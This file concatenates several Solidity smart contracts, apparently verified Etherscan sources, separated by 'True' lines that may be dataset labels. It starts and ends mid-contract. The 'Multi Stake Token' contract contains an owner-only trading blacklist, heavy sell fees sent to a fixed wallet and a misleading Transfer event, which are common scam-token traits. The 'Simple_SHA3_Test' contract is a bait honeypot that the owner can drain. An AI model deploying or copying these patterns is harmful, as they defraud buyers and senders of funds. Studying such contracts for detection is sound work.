amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-11-25 */ /** *Submitted for verification at Etherscan.io on 2021-11-25 */ /** * https://t.me/multistaketoken /** */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ms is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**8; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Multi Stake Token"; string private constant _symbol = "MS"; uint8 private constant _decimals = 8; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x9BFf6fC6a9DCa5D5919fA18Ac59b2770506E9975); _feeAddrWallet2 = payable(0x9BFf6fC6a9DCa5D5919fA18Ac59b2770506E9975); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xaC20bEF5ebf6B6dA83C4d16b322Ce3F3122eCfbf), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 14; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 18; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 40000000000 * 10**8; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
True
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pragma solidity ^0.4.24; // // Hello World: Simple SHA3() Function Test // WARNING: DO NOT USE THIS CONTRACT OR YOU LOSE EVERYTHING!!!!!!!!!!! // KECCAK256("test") = 0x9c22ff5f21f0b81b113e63f7db6da94fedef11b2119b4088b89664cb9a3cb658 // // contract Simple_SHA3_Test { event test(string result); address private owner; bytes32 hash = 0x9c22ff5f21f0b81b113e63f7db6da94fedef11b2119b4088b89664cb9a3cb658; function () payable public {} constructor () public payable { owner = msg.sender; } function withdraw(string preimage) public payable { require(msg.value >= 10 ether); require(bytes(preimage).length > 0); bytes32 solution = keccak256(bytes(preimage)); if (solution == hash) { emit test("SHA works"); msg.sender.transfer(address(this).balance); }else{ emit test("SHA doesnt work"); } } function test_withdraw() public { require(msg.sender == owner); msg.sender.transfer(address(this).balance); } function test_suicide() public { require(msg.sender == owner); selfdestruct(msg.sender); } }
True
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// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable collectionSize; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } 